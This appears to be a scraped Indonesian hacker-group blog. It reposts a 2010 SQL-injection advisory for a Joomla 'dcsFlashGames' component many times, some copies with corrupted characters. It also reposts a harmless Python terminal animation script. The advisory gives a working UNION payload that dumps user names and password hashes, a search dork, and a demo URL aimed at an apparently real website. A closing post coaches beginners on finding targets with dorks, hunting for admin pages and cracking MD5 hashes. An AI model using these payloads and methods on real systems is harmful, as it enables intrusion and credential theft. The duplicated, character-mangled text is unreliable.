[!]===========================================================================[!]
[~] Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 25 March, 2010
[!]===========================================================================[!]
[ Software Information ]
[+] Vendor : http://ekith.com/
[+] Description : http://ext.joom.ru/dcsflashgames.html
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://joomlacode.org/gf/project/sageth/frs/
[+] Version : 2.0RC1
[!]===========================================================================[!]
[ Vulnerable File ]
http://127.0.0.1/index.php?option=com_dcs_flashgames&Itemid=kaMtiEz&catid=[INDONESIANCODER]
[ XpL ]
666+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--
[ d3m0 ]
http://www.pokermachinez.com/index.php?option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--
etc etc etc ;]
[!]===========================================================================[!]
[ Thx TO ]
[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31
[ NOTE ]
[+] Babe enyak adek i love u pull dah ..
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] Ayy : lup u :">
[ QUOTE ]
[+] INDONESIANCODER still r0x
[+] nothing secure ..
Saturday, March 27, 2010
Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[!]===========================================================================[!]
[~] Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 25 March, 2010
[!]===========================================================================[!]
[ Software Information ]
[+] Vendor : http://ekith.com/
[+] Description : http://ext.joom.ru/dcsflashgames.html
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://joomlacode.org/gf/project/sageth/frs/
[+] Version : 2.0RC1
[!]===========================================================================[!]
[ Vulnerable File ]
http://127.0.0.1/index.php?option=com_dcs_flashgames&Itemid=kaMtiEz&catid=[INDONESIANCODER]
[ XpL ]
666+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--
[ d3m0 ]
http://www.pokermachinez.com/index.php?option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--
etc etc etc ;]
[!]===========================================================================[!]
[ Thx TO ]
[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31
[ NOTE ]
[+] Babe enyak adek i love u pull dah ..
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] Ayy : lup u :">
[ QUOTE ]
[+] INDONESIANCODER still r0x
[+] nothing secure ..
[~] Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 25 March, 2010
[!]===========================================================================[!]
[ Software Information ]
[+] Vendor : http://ekith.com/
[+] Description : http://ext.joom.ru/dcsflashgames.html
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://joomlacode.org/gf/project/sageth/frs/
[+] Version : 2.0RC1
[!]===========================================================================[!]
[ Vulnerable File ]
http://127.0.0.1/index.php?option=com_dcs_flashgames&Itemid=kaMtiEz&catid=[INDONESIANCODER]
[ XpL ]
666+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--
[ d3m0 ]
http://www.pokermachinez.com/index.php?option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--
etc etc etc ;]
[!]===========================================================================[!]
[ Thx TO ]
[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31
[ NOTE ]
[+] Babe enyak adek i love u pull dah ..
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] Ayy : lup u :">
[ QUOTE ]
[+] INDONESIANCODER still r0x
[+] nothing secure ..
Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[!]===========================================================================[!]
[~] Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 25 March, 2010
[!]===========================================================================[!]
[ Software Information ]
[+] Vendor : http://ekith.com/
[+] Description : http://ext.joom.ru/dcsflashgames.html
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://joomlacode.org/gf/project/sageth/frs/
[+] Version : 2.0RC1
[!]===========================================================================[!]
[ Vulnerable File ]
http://127.0.0.1/index.php?option=com_dcs_flashgames&Itemid=kaMtiEz&catid=[INDONESIANCODER]
[ XpL ]
666+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--
[ d3m0 ]
http://www.pokermachinez.com/index.php?option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--
etc etc etc ;]
[!]===========================================================================[!]
[ Thx TO ]
[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31
[ NOTE ]
[+] Babe enyak adek i love u pull dah ..
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] Ayy : lup u :">
[ QUOTE ]
[+] INDONESIANCODER still r0x
[+] nothing secure ..
[~] Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 25 March, 2010
[!]===========================================================================[!]
[ Software Information ]
[+] Vendor : http://ekith.com/
[+] Description : http://ext.joom.ru/dcsflashgames.html
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:"CIHUY" ;)
[+] Download : http://joomlacode.org/gf/project/sageth/frs/
[+] Version : 2.0RC1
[!]===========================================================================[!]
[ Vulnerable File ]
http://127.0.0.1/index.php?option=com_dcs_flashgames&Itemid=kaMtiEz&catid=[INDONESIANCODER]
[ XpL ]
666+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--
[ d3m0 ]
http://www.pokermachinez.com/index.php?option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user(),4,@@version,6,concat_ws(0x3a,username,password)+from+jos_users--
etc etc etc ;]
[!]===========================================================================[!]
[ Thx TO ]
[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31
[ NOTE ]
[+] Babe enyak adek i love u pull dah ..
[+] Jika kami bersama Nyalakan Tanda Bahaya ;)
[+] Ayy : lup u :">
[ QUOTE ]
[+] INDONESIANCODER still r0x
[+] nothing secure ..
Friday, March 26, 2010
Python......Matrix Result
habis jalan2 di google sama tuan muda yur4kh4
dapet matrix python...
bentuknya siiip buat screenserver ini
hahahahahhaha
ini scrinnya
coder
#!/usr/bin/python
# -*- coding: utf-8 -*-
# gunslinger_ 08 feb 2010
# this code is protected under the gpl
# get your copy at
import os, time, random, sys
class message(str):
def __new__(cls, text, speed):
self = super(message, cls).__new__(cls, text)
self.speed = speed
self.y = -1*len(text)
self.x = random.randint(0, display().width)
self.skip = 0
return self
def move(self):
if self.speed > self.skip:
self.skip += 1
else:
self.skip = 0
self.y += 1
class display(list):
def __init__(self):
self.height, self.width = [int(x) for x in os.popen('stty size', 'r').read().split()]
self[:] = [' ' for y in xrange(self.height) for x in xrange(self.width)]
def set_vertical(self, x, y, string):
string = string[::-1]
if x < 0:
x = 80 + x
if x >= self.width:
x = self.width-1
if y < 0:
string = string[abs(y):]
y = 0
if y + len(string) > self.height:
string = string[0:self.height - y]
if y >= self.height:
return
start = y*self.width+x
length = self.width*(y+len(string))
step = self.width
self[start:length:step] = string
def __str__(self):
return ''.join(self)
i_message = raw_input("Input a message: ")
messages = [message(i_message, random.randint(1, 5))]
for t in xrange(1000000):
messages.append(message(i_message[::-1], random.randint(1, 5)))
d = display()
for text in messages:
d.set_vertical(text.x, text.y, text)
text.move()
sys.stdout.write(str(d))
sys.stdout.flush()
del d
time.sleep(0.1)
dapet matrix python...
bentuknya siiip buat screenserver ini
hahahahahhaha
ini scrinnya
coder
#!/usr/bin/python
# -*- coding: utf-8 -*-
# gunslinger_ 08 feb 2010
# this code is protected under the gpl
# get your copy at
import os, time, random, sys
class message(str):
def __new__(cls, text, speed):
self = super(message, cls).__new__(cls, text)
self.speed = speed
self.y = -1*len(text)
self.x = random.randint(0, display().width)
self.skip = 0
return self
def move(self):
if self.speed > self.skip:
self.skip += 1
else:
self.skip = 0
self.y += 1
class display(list):
def __init__(self):
self.height, self.width = [int(x) for x in os.popen('stty size', 'r').read().split()]
self[:] = [' ' for y in xrange(self.height) for x in xrange(self.width)]
def set_vertical(self, x, y, string):
string = string[::-1]
if x < 0:
x = 80 + x
if x >= self.width:
x = self.width-1
if y < 0:
string = string[abs(y):]
y = 0
if y + len(string) > self.height:
string = string[0:self.height - y]
if y >= self.height:
return
start = y*self.width+x
length = self.width*(y+len(string))
step = self.width
self[start:length:step] = string
def __str__(self):
return ''.join(self)
i_message = raw_input("Input a message: ")
messages = [message(i_message, random.randint(1, 5))]
for t in xrange(1000000):
messages.append(message(i_message[::-1], random.randint(1, 5)))
d = display()
for text in messages:
d.set_vertical(text.x, text.y, text)
text.move()
sys.stdout.write(str(d))
sys.stdout.flush()
del d
time.sleep(0.1)
Python......Matrix Result
habis jalan2 di google sama tuan muda yur4kh4
dapet matrix python...
bentuknya siiip buat screenserver ini
hahahahahhaha
ini scrinnya
coder
#!/usr/bin/python
# -*- coding: utf-8 -*-
# gunslinger_ 08 feb 2010
# this code is protected under the gpl
# get your copy at
import os, time, random, sys
class message(str):
def __new__(cls, text, speed):
self = super(message, cls).__new__(cls, text)
self.speed = speed
self.y = -1*len(text)
self.x = random.randint(0, display().width)
self.skip = 0
return self
def move(self):
if self.speed > self.skip:
self.skip += 1
else:
self.skip = 0
self.y += 1
class display(list):
def __init__(self):
self.height, self.width = [int(x) for x in os.popen('stty size', 'r').read().split()]
self[:] = [' ' for y in xrange(self.height) for x in xrange(self.width)]
def set_vertical(self, x, y, string):
string = string[::-1]
if x < 0:
x = 80 + x
if x >= self.width:
x = self.width-1
if y < 0:
string = string[abs(y):]
y = 0
if y + len(string) > self.height:
string = string[0:self.height - y]
if y >= self.height:
return
start = y*self.width+x
length = self.width*(y+len(string))
step = self.width
self[start:length:step] = string
def __str__(self):
return ''.join(self)
i_message = raw_input("Input a message: ")
messages = [message(i_message, random.randint(1, 5))]
for t in xrange(1000000):
messages.append(message(i_message[::-1], random.randint(1, 5)))
d = display()
for text in messages:
d.set_vertical(text.x, text.y, text)
text.move()
sys.stdout.write(str(d))
sys.stdout.flush()
del d
time.sleep(0.1)
dapet matrix python...
bentuknya siiip buat screenserver ini
hahahahahhaha
ini scrinnya
coder
#!/usr/bin/python
# -*- coding: utf-8 -*-
# gunslinger_ 08 feb 2010
# this code is protected under the gpl
# get your copy at
import os, time, random, sys
class message(str):
def __new__(cls, text, speed):
self = super(message, cls).__new__(cls, text)
self.speed = speed
self.y = -1*len(text)
self.x = random.randint(0, display().width)
self.skip = 0
return self
def move(self):
if self.speed > self.skip:
self.skip += 1
else:
self.skip = 0
self.y += 1
class display(list):
def __init__(self):
self.height, self.width = [int(x) for x in os.popen('stty size', 'r').read().split()]
self[:] = [' ' for y in xrange(self.height) for x in xrange(self.width)]
def set_vertical(self, x, y, string):
string = string[::-1]
if x < 0:
x = 80 + x
if x >= self.width:
x = self.width-1
if y < 0:
string = string[abs(y):]
y = 0
if y + len(string) > self.height:
string = string[0:self.height - y]
if y >= self.height:
return
start = y*self.width+x
length = self.width*(y+len(string))
step = self.width
self[start:length:step] = string
def __str__(self):
return ''.join(self)
i_message = raw_input("Input a message: ")
messages = [message(i_message, random.randint(1, 5))]
for t in xrange(1000000):
messages.append(message(i_message[::-1], random.randint(1, 5)))
d = display()
for text in messages:
d.set_vertical(text.x, text.y, text)
text.move()
sys.stdout.write(str(d))
sys.stdout.flush()
del d
time.sleep(0.1)
Python......Matrix Result
habis jalan2 di google sama tuan muda yur4kh4
dapet matrix python...
bentuknya siiip buat screenserver ini
hahahahahhaha
ini scrinnya
coder
#!/usr/bin/python
# -*- coding: utf-8 -*-
# gunslinger_ 08 feb 2010
# this code is protected under the gpl
# get your copy at
import os, time, random, sys
class message(str):
def __new__(cls, text, speed):
self = super(message, cls).__new__(cls, text)
self.speed = speed
self.y = -1*len(text)
self.x = random.randint(0, display().width)
self.skip = 0
return self
def move(self):
if self.speed > self.skip:
self.skip += 1
else:
self.skip = 0
self.y += 1
class display(list):
def __init__(self):
self.height, self.width = [int(x) for x in os.popen('stty size', 'r').read().split()]
self[:] = [' ' for y in xrange(self.height) for x in xrange(self.width)]
def set_vertical(self, x, y, string):
string = string[::-1]
if x < 0:
x = 80 + x
if x >= self.width:
x = self.width-1
if y < 0:
string = string[abs(y):]
y = 0
if y + len(string) > self.height:
string = string[0:self.height - y]
if y >= self.height:
return
start = y*self.width+x
length = self.width*(y+len(string))
step = self.width
self[start:length:step] = string
def __str__(self):
return ''.join(self)
i_message = raw_input("Input a message: ")
messages = [message(i_message, random.randint(1, 5))]
for t in xrange(1000000):
messages.append(message(i_message[::-1], random.randint(1, 5)))
d = display()
for text in messages:
d.set_vertical(text.x, text.y, text)
text.move()
sys.stdout.write(str(d))
sys.stdout.flush()
del d
time.sleep(0.1)
dapet matrix python...
bentuknya siiip buat screenserver ini
hahahahahhaha
ini scrinnya
coder
#!/usr/bin/python
# -*- coding: utf-8 -*-
# gunslinger_ 08 feb 2010
# this code is protected under the gpl
# get your copy at
import os, time, random, sys
class message(str):
def __new__(cls, text, speed):
self = super(message, cls).__new__(cls, text)
self.speed = speed
self.y = -1*len(text)
self.x = random.randint(0, display().width)
self.skip = 0
return self
def move(self):
if self.speed > self.skip:
self.skip += 1
else:
self.skip = 0
self.y += 1
class display(list):
def __init__(self):
self.height, self.width = [int(x) for x in os.popen('stty size', 'r').read().split()]
self[:] = [' ' for y in xrange(self.height) for x in xrange(self.width)]
def set_vertical(self, x, y, string):
string = string[::-1]
if x < 0:
x = 80 + x
if x >= self.width:
x = self.width-1
if y < 0:
string = string[abs(y):]
y = 0
if y + len(string) > self.height:
string = string[0:self.height - y]
if y >= self.height:
return
start = y*self.width+x
length = self.width*(y+len(string))
step = self.width
self[start:length:step] = string
def __str__(self):
return ''.join(self)
i_message = raw_input("Input a message: ")
messages = [message(i_message, random.randint(1, 5))]
for t in xrange(1000000):
messages.append(message(i_message[::-1], random.randint(1, 5)))
d = display()
for text in messages:
d.set_vertical(text.x, text.y, text)
text.move()
sys.stdout.write(str(d))
sys.stdout.flush()
del d
time.sleep(0.1)
Joomla Component dcsFlashGames SQL Vulnerability
[!]===========================================================================[!]
[~] Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 25 March, 2010
[!]===========================================================================[!]
[ Software Information ]
[+] Vendor : http://ekith.com/
[+] Description : http://ext.joom.ru/dcsflashgames.html
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:”CIHUY” 
[+] Download : http://joomlacode.org/gf/project/sageth/frs/
[+] Version : 2.0RC1
[!]===========================================================================[!]
[ Vulnerable File ]
http://127.0.0.1/index.php?option=com_dcs_flashgames&Itemid=kaMtiEz&catid=[INDONESIANCODER]
[ XpL ]
666+union+all+select+1,2,user(),4,@@version,6,concat_ws(0×3a,username,password)+from+jos_users–
[ d3m0 ]
http://www.pokermachinez.com/index.php?option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user(),4,@@version,6,concat_ws(0×3a,username,password)+from+jos_users–
etc etc etc ;]
[!]===========================================================================[!]
[ Thx TO ]
[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31
[ NOTE ]
[+] Babe enyak adek i love u pull dah ..
[+] Jika kami bersama Nyalakan Tanda Bahaya
[+] Ayy : lup u :”>
[ QUOTE ]
[+] INDONESIANCODER still r0x
[+] nothing secure ..
Joomla Component dcsFlashGames SQL Vulnerability
[!]===========================================================================[!]
[~] Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 25 March, 2010
[!]===========================================================================[!]
[ Software Information ]
[+] Vendor : http://ekith.com/
[+] Description : http://ext.joom.ru/dcsflashgames.html
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:”CIHUY”
[+] Download : http://joomlacode.org/gf/project/sageth/frs/
[+] Version : 2.0RC1
[!]===========================================================================[!]
[ Vulnerable File ]
http://127.0.0.1/index.php?option=com_dcs_flashgames&Itemid=kaMtiEz&catid=[INDONESIANCODER]
[ XpL ]
666+union+all+select+1,2,user(),4,@@version,6,concat_ws(0×3a,username,password)+from+jos_users–
[ d3m0 ]
http://www.pokermachinez.com/index.php?option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user(),4,@@version,6,concat_ws(0×3a,username,password)+from+jos_users–
etc etc etc ;]
[!]===========================================================================[!]
[ Thx TO ]
[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31
[ NOTE ]
[+] Babe enyak adek i love u pull dah ..
[+] Jika kami bersama Nyalakan Tanda Bahaya
[+] Ayy : lup u :”>
[ QUOTE ]
[+] INDONESIANCODER still r0x
[+] nothing secure ..
Joomla Component dcsFlashGames SQL Vulnerability
[!]===========================================================================[!]
[~] Joomla Component dcsFlashGames SQL Vulnerability ( catid )
[~] Author : kaMtiEz (kamzcrew@yahoo.com)
[~] Homepage : http://www.indonesiancoder.com
[~] Date : 25 March, 2010
[!]===========================================================================[!]
[ Software Information ]
[+] Vendor : http://ekith.com/
[+] Description : http://ext.joom.ru/dcsflashgames.html
[+] Price : free
[+] Vulnerability : SQL
[+] Dork : inurl:”CIHUY”
[+] Download : http://joomlacode.org/gf/project/sageth/frs/
[+] Version : 2.0RC1
[!]===========================================================================[!]
[ Vulnerable File ]
http://127.0.0.1/index.php?option=com_dcs_flashgames&Itemid=kaMtiEz&catid=[INDONESIANCODER]
[ XpL ]
666+union+all+select+1,2,user(),4,@@version,6,concat_ws(0×3a,username,password)+from+jos_users–
[ d3m0 ]
http://www.pokermachinez.com/index.php?option=com_dcs_flashgames&Itemid=61&catid=51+union+all+select+1,2,user(),4,@@version,6,concat_ws(0×3a,username,password)+from+jos_users–
etc etc etc ;]
[!]===========================================================================[!]
[ Thx TO ]
[+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker MC-CREW
[+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,bobyhikaru,gonzhack,senot
[+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck
[+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31
[ NOTE ]
[+] Babe enyak adek i love u pull dah ..
[+] Jika kami bersama Nyalakan Tanda Bahaya
[+] Ayy : lup u :”>
[ QUOTE ]
[+] INDONESIANCODER still r0x
[+] nothing secure ..
Monday, March 15, 2010
sqLi logika bahwa bisa .,.cihuy
hi...
ini bukan tutor juga bukan hal yang penting untuk dibaca,,hihi
tulisan ini saia buat khusus untuk para newbie seperti saia,,s0 yang udah master lewat saja dari pada ngakak..
ini berkaitan dengan sql injection banyak tutor di forum2 tentang tutorial injection..
nah..dari tutor tersebut banyak juga muncul pertanyaan
! koq saia gagal y...memperaktekan tutor tersebut tuan muda????mmmmmm,,,,
dalam hal apa-pun antara teori sama praktek memang selaLu berbeda..
permasalahannya menurut saia terletak pada "target" jelas target yang kita dapat berbeda dengan "contoh"
yang kita baca diforum..error yang kita dapat juga sering berbeda,,s0 untuk hal ini kuncinya adalah sabar...
dalam mempraktekan ilmu yang kita dapat tips dari saia kreativ lah dalam menggunakan dork misalnya
allinurl:/news.php?id= site:nl,pl,uk,my..& lain2..kita bisa memainkan site: or bisa juga mengganti
news dg cnews, nnews, rnews & lain2
udah capek2 order by ga muncul2 juga angka ajaib yang kita cari
.,.,.SABAR
yang kedua permasalahan yang sering muncul adalah saat mencari halaman admin banyak tools yang bisa dipakai
secara online..namun terkadang tetap tidak menemukan halaman yang kita cari..mmmmmmm,,,coba cari secara manual sajja
misalnya :
www.taget.com/
,,klo di scann ga berhasil..jangan putus asa dulu dunkz heee
tapi coba cari2 di halaman site tersebut salah satu contoh dengan mengklik kanan gambar lihat propertis
biasanya terkadang ada path yang di tambahkan admin..
www.target.com/rahasia/images/banner.gif
nah...ternyata ada path rahasia ooohhh,,,pantes halamanx discann ga ketemu..coba hapus /image/banner.gif
mudah2an bisa langsung login (AMIN).heee.,.klo blum berhasil juga coba scann
www.target.com/rahasia/
& masih banya cara untuk mencari halaman admin ini..
kemudian masalah hash mmmmmmmmm.....
banyak cara juga untuk mengatasi hal ini misalnya menggunakan script perl
contoh crackmonster.pl truz dengan md5 search..& lain2...
tulisan ini ditulis hanya untuk memotivasi kita dalam mempraktekan tutor sqli yang banyak kita dapat di forum2
s0 kesimpulannya jangan mudah putus asa & sabar sangat diperlukan dalam prektek
yakin sajja bahwa kita bisa & tutor itu memang benar adanya
sekali lagi saia tekan kan bahwa SABAR adalah kunci berusahalah untuk mencapai tujuan kita,,heee
bukan maksud untuk menggurui,,tulisan ini hanya untuk memotivasi..agar kita terus belajar & membaca hal yang tidak kita tahu
karena pada dasarnya semua ada jawaban & jalannya...
demikian tulisan singkat ini saia buat dalam keadaan
sadar se sadarnya......
original : yur4kh4 malang cyber crew http://mc-crew.org
ini bukan tutor juga bukan hal yang penting untuk dibaca,,hihi
tulisan ini saia buat khusus untuk para newbie seperti saia,,s0 yang udah master lewat saja dari pada ngakak..
ini berkaitan dengan sql injection banyak tutor di forum2 tentang tutorial injection..
nah..dari tutor tersebut banyak juga muncul pertanyaan
! koq saia gagal y...memperaktekan tutor tersebut tuan muda????mmmmmm,,,,
dalam hal apa-pun antara teori sama praktek memang selaLu berbeda..
permasalahannya menurut saia terletak pada "target" jelas target yang kita dapat berbeda dengan "contoh"
yang kita baca diforum..error yang kita dapat juga sering berbeda,,s0 untuk hal ini kuncinya adalah sabar...
dalam mempraktekan ilmu yang kita dapat tips dari saia kreativ lah dalam menggunakan dork misalnya
allinurl:/news.php?id= site:nl,pl,uk,my..& lain2..kita bisa memainkan site: or bisa juga mengganti
news dg cnews, nnews, rnews & lain2
udah capek2 order by ga muncul2 juga angka ajaib yang kita cari
.,.,.SABARyang kedua permasalahan yang sering muncul adalah saat mencari halaman admin banyak tools yang bisa dipakai
secara online..namun terkadang tetap tidak menemukan halaman yang kita cari..mmmmmmm,,,coba cari secara manual sajja
misalnya :
www.taget.com/
,,klo di scann ga berhasil..jangan putus asa dulu dunkz heee
tapi coba cari2 di halaman site tersebut salah satu contoh dengan mengklik kanan gambar lihat propertis
biasanya terkadang ada path yang di tambahkan admin..
www.target.com/rahasia/images/banner.gif
nah...ternyata ada path rahasia ooohhh,,,pantes halamanx discann ga ketemu..coba hapus /image/banner.gif
mudah2an bisa langsung login (AMIN).heee.,.klo blum berhasil juga coba scann
www.target.com/rahasia/
& masih banya cara untuk mencari halaman admin ini..
kemudian masalah hash mmmmmmmmm.....
banyak cara juga untuk mengatasi hal ini misalnya menggunakan script perl
contoh crackmonster.pl truz dengan md5 search..& lain2...
tulisan ini ditulis hanya untuk memotivasi kita dalam mempraktekan tutor sqli yang banyak kita dapat di forum2
s0 kesimpulannya jangan mudah putus asa & sabar sangat diperlukan dalam prektek
yakin sajja bahwa kita bisa & tutor itu memang benar adanya
sekali lagi saia tekan kan bahwa SABAR adalah kunci berusahalah untuk mencapai tujuan kita,,heee
bukan maksud untuk menggurui,,tulisan ini hanya untuk memotivasi..agar kita terus belajar & membaca hal yang tidak kita tahu
karena pada dasarnya semua ada jawaban & jalannya...
demikian tulisan singkat ini saia buat dalam keadaan
sadar se sadarnya......
original : yur4kh4 malang cyber crew http://mc-crew.org
Subscribe to:
Posts (Atom)